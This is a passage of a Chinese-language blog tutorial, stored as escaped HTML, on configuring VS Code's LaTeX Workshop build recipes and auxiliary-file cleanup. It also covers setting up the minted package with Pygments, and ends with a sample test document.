class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"BibTeX\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bibtex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"LaTeXmk\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"latexmk\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex -\u003e bibtex -\u003e xelatex*2\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bibtex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex -\u003e bibtex -\u003e pdflatex*2\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bibtex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//文件清理。此属性必须是字符串数组\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.clean.fileTypes\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"*.aux\",\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.bbl\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.blg\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.idx\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.ind\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.lof\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.lot\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"*.out\",\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.toc\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.acn\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.acr\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.alg\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.glg\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.glo\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.gls\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.ist\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.fls\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.log\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.fdb_latexmk\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//设置为onFaild 在构建失败后清除辅助文件\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.autoClean.run\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"onFailed\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 使用上次的recipe编译组合\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.recipe.default\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"lastUsed\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 用于反向同步的内部查看器的键绑定。ctrl/cmd +点击(默认)或双击\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.view.pdf.internal.synctex.keybinding\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"double-click\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//设置查看PDF的工具,可选\"browser\",\"tab\",\"external\"\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"latex-workshop.view.pdf.viewer\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"tab\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//---------LaTeX Workshop 配置结束-----------\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"配置相关内容解释\"\u003e\u003ca href=\"#配置相关内容解释\" class=\"headerlink\" title=\"配置相关内容解释\"\u003e\u003c/a\u003e配置相关内容解释\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.latex.tools\u0026quot;\u003c/code\u003e\u003c/strong\u003e :是编译使用的工具,\u003ccode\u003elatexmk\u003c/code\u003e、\u003ccode\u003exelatex\u003c/code\u003e、\u003ccode\u003epdflatex\u003c/code\u003e、\u003ccode\u003ebibtex\u003c/code\u003e 都是常用的编译命令,它们编译的方式不一样。\u003ccode\u003ebibtex\u003c/code\u003e 能用来生成参考文献,\u003ccode\u003elatexmk\u003c/code\u003e、\u003ccode\u003exelatex\u003c/code\u003e、\u003ccode\u003epdflatex\u003c/code\u003e 中只有 \u003ccode\u003exelatex\u003c/code\u003e 较好适合中文,但编译速度 \u003ccode\u003epdflatex\u003c/code\u003e 比 \u003ccode\u003exelatex\u003c/code\u003e 快。\u003ccode\u003eargs\u003c/code\u003e 里是一些参数,可以根据实际情况改,比如在 \u003ccode\u003exelatex\u003c/code\u003e、\u003ccode\u003epdflatex\u003c/code\u003e 的 \u003ccode\u003eargs\u003c/code\u003e 里加了一句\u003ccode\u003e”-shell-escape”\u003c/code\u003e,是为了支持使用 \u003ccode\u003eminted 宏包\u003c/code\u003e(用来代码高亮等)。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.latex.recipes\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是编译使用的命令序列,就是 \u003ccode\u003elatexmk\u003c/code\u003e、\u003ccode\u003exelatex\u003c/code\u003e、\u003ccode\u003epdflatex\u003c/code\u003e、\u003ccode\u003ebibtex\u003c/code\u003e 的组合。首先要知道,编译一个\u003ccode\u003e.tex\u003c/code\u003e 文件,用一个编译命令是不够的,当要生成目录时,一般是要用 \u003ccode\u003epdflatex\u003c/code\u003e 或 \u003ccode\u003exelatex\u003c/code\u003e 等编译源代码 2 次,第 1 次生成了辅助文件记录目录等信息,第 2 次才会生成目录;当要生成参考文献时,要编译 4 次,第 1 次用 \u003ccode\u003epdflatex\u003c/code\u003e 或 \u003ccode\u003exelatex\u003c/code\u003e 等编译源代码,第 2 次用 \u003ccode\u003ebibtex\u003c/code\u003e 命令处理\u003ccode\u003e.aux\u003c/code\u003e 辅助文件记录的\u003cbr\u003e参考文献格式、引用条目等信息,接下来再用 \u003ccode\u003epdflatex\u003c/code\u003e 或 \u003ccode\u003exelatex\u003c/code\u003e 等编译源代码 2 次读入参考文献并生成引用。我们这里定义、添加了 8 种方法:\u003c/p\u003e\u003col\u003e\u003cli\u003e一次 \u003ccode\u003eXeLaTeX\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eXeLaTeX*2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e一次 \u003ccode\u003ePDFLaTeX\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003ePDFLaTeX*2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e一次 \u003ccode\u003eBibTeX\u003c/code\u003e\u003c/li\u003e\u003cli\u003e一次 \u003ccode\u003eLaTeXmk\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003exelatex -\u0026gt; bibtex -\u0026gt; xelatex*2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003epdflatex -\u0026gt; bibtex -\u0026gt; pdflatex*2\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e其中第一个的是默认编译命令,因为处理中文文档,所以把一次 \u003ccode\u003eXeLaTeX\u003c/code\u003e 放在第一位。当你使用 TeXstudio 时你不必在乎这些,因为它会自动为你进行多次编译。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.view.pdf.viewer\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是用来查看 PDF 的工具,我们这里采用 \u003ccode\u003e\u0026quot;tab\u0026quot;\u003c/code\u003e(内置阅读器)。如果选择 \u003ccode\u003eexternal\u003c/code\u003e(外部阅读器),需要添加其他配置,可以在参考链接中获取相关信息。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.latex.autoBuild.run\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是控制是否自动编译,可以通过自动编译实现准实时预览,但是一来编译需要时间,特别是复杂文档编译时间往往漫长;二来边编译边输入很可能造成意想不到的错误,这种错误不能通过重新编译一遍解决,需要将辅助文件全部删除后重新编译。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e构建一份 PDF,除了 \u003ccode\u003e.tex\u003c/code\u003e 源文件,一般需要 \u003ccode\u003e.cls\u003c/code\u003e、\u003ccode\u003e.sty\u003c/code\u003e 文件,如果需要参考文献,还\u003cbr\u003e需要 \u003ccode\u003e.bib\u003c/code\u003e、\u003ccode\u003e.bst\u003c/code\u003e 文件,具体如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e.cls\u003c/code\u003e,文档类文件,如内置的 \u003ccode\u003earticle.cls\u003c/code\u003e、\u003ccode\u003ebook.cls\u003c/code\u003e,文档类名称与文件名一致\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.sty\u003c/code\u003e,宏包文件,如 \u003ccode\u003ectex.sty\u003c/code\u003e,宏包名称与文件名一致\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.bst\u003c/code\u003e,\u003ccode\u003eBibTEX\u003c/code\u003e 参考文献样式文件,如内置的 \u003ccode\u003eplain.bst\u003c/code\u003e\u003c/li\u003e\u003cli\u003e.bib,\u003ccode\u003eBibTEX\u003c/code\u003e 参考文献数据库文件\u003cbr\u003e编译过程中会生成许多辅助文件,有些中间辅助文件会自动清除,有些则不会,生\u003cbr\u003e成的常见辅助文件有:\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.aux\u003c/code\u003e,主辅助文件,记录交叉引用、目录、参考文献的引用等\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.log\u003c/code\u003e,错误日志文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.toc\u003c/code\u003e,目录记录文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.synctex.gz\u003c/code\u003e,正反向搜索文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.bbl\u003c/code\u003e,\u003ccode\u003ebibtex\u003c/code\u003e 生成的参考文献记录文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.blg\u003c/code\u003e,\u003ccode\u003ebibtex\u003c/code\u003e 生成的日志文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.out\u003c/code\u003e,\u003ccode\u003ehyperref\u003c/code\u003e 宏包生成的 PDF 书签记录文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.pyg\u003c/code\u003e,基于 \u003ccode\u003epygment\u003c/code\u003e 的 \u003ccode\u003eminted\u003c/code\u003e 宏包生成的文件\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e生成的辅助文件较多,建议一份文档单独一个文件夹(本来设置了,但调宏包有点问题,注释掉了又);因为要借助辅助文件,有时需要多次编译。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.showContextMenu\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是 \u003ccode\u003etrue\u003c/code\u003e 时,你在 \u003ccode\u003e.tex\u003c/code\u003e 文件中右键时会出现一些便捷的命令。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.intellisense.package.enabled\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是 \u003ccode\u003etrue\u003c/code\u003e,能够开启自动补全,比较方便。\u003c/p\u003e\u003cp\u003e**\u003ccode\u003e\u0026quot;latex-workshop.message.error.show\u0026quot;\u003c/code\u003e、\u003ccode\u003e\u0026quot;latex-workshop.message.warning.show\u0026quot;\u003c/code\u003e**是关于编译不好时的提醒、警告气泡,比较烦人,建议设置为 \u003ccode\u003efalse\u003c/code\u003e 不显示,错误信息还是可以通过其他方式得到的,比如找红色波浪线,鼠标放上面会有提示。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.latex.clean.fileTypes\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是用来清除编译过程中生成的辅助文件。如果注释掉,当存在参考文献等时,一次编译出错会导致原来编译四次才能生成的参考文献因为相关辅助文件被清除要重新编译四次。有些情况下辅助文件也会造成困扰,比如在源文件中改正确了,但辅助文件中的错误不会改过来,从而导致莫名其妙的编译失败,很多情况下这是一种直觉和经验,把辅助文件全删了重新编译就行,可以根据自己的习惯选择是否取消注释开启自动清除。\u003c/p\u003e\u003cp\u003e需要注意的是,\u003cstrong\u003e设置了辅助文件输出目录\u003c/strong\u003e,在调用一些宏包比如 \u003ccode\u003eminted\u003c/code\u003e 宏包时也需要申明辅助文件的路径,最后我没有设置辅助文件输出目录。\u003c/p\u003e\u003ch3 id=\"最后测试\"\u003e\u003ca href=\"#最后测试\" class=\"headerlink\" title=\"最后测试\"\u003e\u003c/a\u003e最后测试\u003c/h3\u003e\u003ch4 id=\"minted-宏包设置\"\u003e\u003ca href=\"#minted-宏包设置\" class=\"headerlink\" title=\"minted 宏包设置\"\u003e\u003c/a\u003e\u003ccode\u003eminted\u003c/code\u003e 宏包设置\u003c/h4\u003e\u003cp\u003e代码高亮需要用到 \u003ccode\u003eminted\u003c/code\u003e宏包,需要再次折腾一下,就顺便记录一下:\u003c/p\u003e\u003cp\u003e首先确保有一个 \u003ccode\u003ePython\u003c/code\u003e 环境,我这里是 \u003ccode\u003ePython 3.10.1\u003c/code\u003e。(不过为了环境更好的切换,推荐使用 \u003ccode\u003econda\u003c/code\u003e)\u003c/p\u003e\u003cp\u003e\u003ccode\u003ePython\u003c/code\u003e 安装 \u003ccode\u003ePygments\u003c/code\u003e 库:\u003ccode\u003epip install Pygments\u003c/code\u003e\u003c/p\u003e\u003cp\u003e将路径添加环境变量,我的路径是: \u003ccode\u003eC:\\Users\\KSF\\AppData\\Roaming\\Python\\Python310\\Scripts\u003c/code\u003e ,打开系统设置,添加到 \u003ccode\u003e系统-系统信息-高级系统设置-高级-环境变量-系统变量\u003c/code\u003e ,选中变量 \u003ccode\u003ePath\u003c/code\u003e ,选择编辑,之后新建,将路径复制进去。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e如果设置了辅助文件夹\u003ccode\u003etemp\u003c/code\u003e:\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e如果在编译命令中在编译命令中加上\u003ccode\u003e\u0026quot;−output−directory=temp\u0026quot;\u003c/code\u003e、\u003ccode\u003e\u0026quot;−outdir=%OUTDIR%\u0026quot;\u003c/code\u003e 两句,即更改了辅助文件的输出位置,一些宏包的输出文件位置也需要申明,比如这里的 \u003ccode\u003eminted\u003c/code\u003e 宏包,需要在 \u003ccode\u003eminted\u003c/code\u003e 宏包的可选参数中申明 \u003ccode\u003eoutputdir=./temp\u003c/code\u003e,即\u003ccode\u003e\\usepackage [cache=false,outputdir=./temp] \u0026#123;minted\u0026#125;\u003c/code\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"效果测试\"\u003e\u003ca href=\"#效果测试\" class=\"headerlink\" title=\"效果测试\"\u003e\u003c/a\u003e效果测试\u003c/h4\u003e\u003cp\u003e最后写一段看看效果:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-latex\" data-language=\"latex\"\u003e\u003ccode class=\"language-latex\"\u003e\u003cspan class=\"token comment\"\u003e% 导言区\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\documentclass\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003earticle\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e%article可以换为book, report, letter, 从而改变文档的整个结构\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\usepackage\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ectex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e%使用ctex宏包,可以正常显示中文\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\usepackage\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eminted\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\title\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e题目114514\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\author\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e康师傅\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\date\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\today\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e%正文区(文稿区)\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\begin\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003edocument\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\maketitle\u003c/span\u003e哼哼嗯啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊\u003cspan class=\"token function selector\"\u003e\\begin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eminted\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eframe=single, linenos=true\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003epython\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003e\u003e\u003e import numpy as np\u003e\u003e\u003e from scipy import stats\u003e\u003e\u003e x = np.array(\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e61, 70, 69, 63, 75, 62, 70, 66\u003cspan class=\"token 